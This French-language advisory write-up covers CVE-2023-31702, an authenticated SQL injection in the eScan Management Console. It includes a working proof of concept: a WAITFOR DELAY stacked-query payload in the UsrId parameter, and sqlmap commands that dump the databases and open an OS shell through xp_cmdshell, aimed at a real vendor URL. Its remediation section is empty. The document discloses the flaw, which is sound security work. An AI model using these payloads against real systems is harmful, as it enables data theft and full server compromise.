CVE-2023-31702 — Injection SQL dans la console de gestion eScan (Authentifié)

Présentation

CVE-2023-31702 est une vulnérabilité d'injection SQL authentifiée découverte dans eScan Management Console version 14.0.1400.2281 de MicroWorld Technologies. La vulnérabilité se trouve dans le point d'accès GetUserCurrentPwd, où le paramètre UsrId est passé directement dans une requête SQL sans désinfection ni paramétrage appropriées. Un attaquant authentifié peut exploiter cette faille pour réaliser une injection SQL aveugle basée sur le temps, extraire l'intégralité de la base de données sous-jacente et finalement obtenir un shell de commande OS interactif sur le serveur Microsoft SQL Server sous-jacent — menant à une compromission complète du système.

Détails de la vulnérabilité

Champ	Détails
Identifiant CVE	CVE-2023-31702
Type de vulnérabilité	Injection SQL (aveugle basée sur le temps / requêtes empilées)
Produit affecté	Console de gestion eScan de MicroWorld Technologies
Version affectée	14.0.1400.2281
Point d'accès vulnérable	`/ewconsole/ewconsole.dll/GetUserCurrentPwd`
Paramètre vulnérable	`UsrId`
Authentification	Requise (identifiants valides de la console)
Testé sur	Windows
Score CVSS v3.1	8.8 (Élevé)
Vecteur CVSS	`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
Date de signalement	16 mai 2023
Auteur	Sahil Ojha

Logiciel concerné

Champ	Détails
Éditeur	MicroWorld Technologies
Produit	Console de gestion eScan
Page d'accueil de l'éditeur	https://www.escanav.com
Lien du logiciel	https://cl.escanav.com/ewconsole.dll
Plateforme	Windows

Description de la vulnérabilité

La console de gestion eScan fournit une interface web pour gérer la sécurité des terminaux sur le réseau d'une organisation. La fonctionnalité "Afficher le profil utilisateur" expose un point d'accès de type REST :

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<compteur>

Le paramètre UsrId est intégré dans une requête SQL back-end sans validation, échappement ni utilisation de requêtes paramétrées. Cela permet à un attaquant authentifié d'injecter des instructions SQL arbitraires dans la requête, entraînant :

Injection SQL aveugle basée sur le temps — utilisation de WAITFOR DELAY pour confirmer l'exploitabilité.
Exécution de requêtes empilées — permettant des charges utiles multi-instructions.
Extraction complète de la base de données — récupération de toutes les tables, utilisateurs, identifiants et données sensibles de la base SQL Server.
Exécution de commandes système — exploitation de la procédure stockée xp_cmdshell de SQL Server (activée via sp_configure) pour exécuter des commandes système arbitraires sur le serveur avec les privilèges du compte de service SQL Server.

Impact

Une exploitation réussie de cette vulnérabilité permet à un attaquant de :

🔴 Extraire l'intégralité de la base de données SQL Server, y compris les identifiants des utilisateurs, les données de configuration et les informations sensibles de l'entreprise.
🔴 Obtenir un shell OS interactif sur le serveur Windows hébergeant l'instance SQL Server.
🔴 Exécuter des commandes OS arbitraires (par exemple, créer des comptes de porte dérobée, exfiltrer des données, pivoter vers des ressources réseau internes).
🔴 Compromettre complètement le serveur de gestion eScan et potentiellement tous les terminaux qu'il gère.

⚠️ Note : L'attaquant doit d'abord obtenir des identifiants valides pour la console de gestion eScan. Cependant, une fois authentifié, l'exploitation est simple et ne nécessite pas de privilèges élevés dans la console.

Preuve de concept

Étape 1 — Accéder au point d'accès vulnérable

Après s'être authentifié sur la console de gestion eScan, naviguez vers l'URL suivante :

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

Cela renvoie les données du profil utilisateur courant, confirmant que le point d'accès est accessible.

Point d'accès vulnérable

Étape 2 — Confirmer l'injection SQL avec une charge utile temporelle

Injectez la charge utile de temporisation suivante dans le paramètre UsrId :

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

Analyse de la charge utile :

; — termine l'instruction SQL d'origine et en commence une nouvelle (requête empilée).
WAITFOR DELAY '0:0:5' — demande au serveur SQL de marquer une pause de 5 secondes avant de répondre.
-- — commente le reste de la requête d'origine pour éviter les erreurs de syntaxe.

Si la réponse du serveur est retardée d'environ 5 secondes, l'injection est confirmée.

Injection basée sur le temps confirmée

Étape 3 — Extraire les bases de données avec SQLMap

Une fois l'injection SQL aveugle confirmée, la base de données complète peut être extraite à l'aide de SQLMap :

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

Cela énumère toutes les bases de données hébergées sur le serveur SQL back-end.

Étape 4 — Obtenir un shell OS via SQLMap

SQLMap peut également escalader l'attaque vers une exécution de commandes au niveau OS en activant et en exploitant xp_cmdshell :

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

Cela établit un shell OS interactif sur l'hôte SQL Server.

Obtention d'un shell OS via SQLMap

Étape 5 — Exécuter des commandes OS sur le serveur

Une fois le shell OS établi, des commandes Windows arbitraires peuvent être exécutées sur le serveur :

Exécution de commandes OS

Correctifs

Les mesures suivantes sont fortement recommandées pour corriger et atténuer cette vulnérabilité :

CVE-2023-31702

Populaires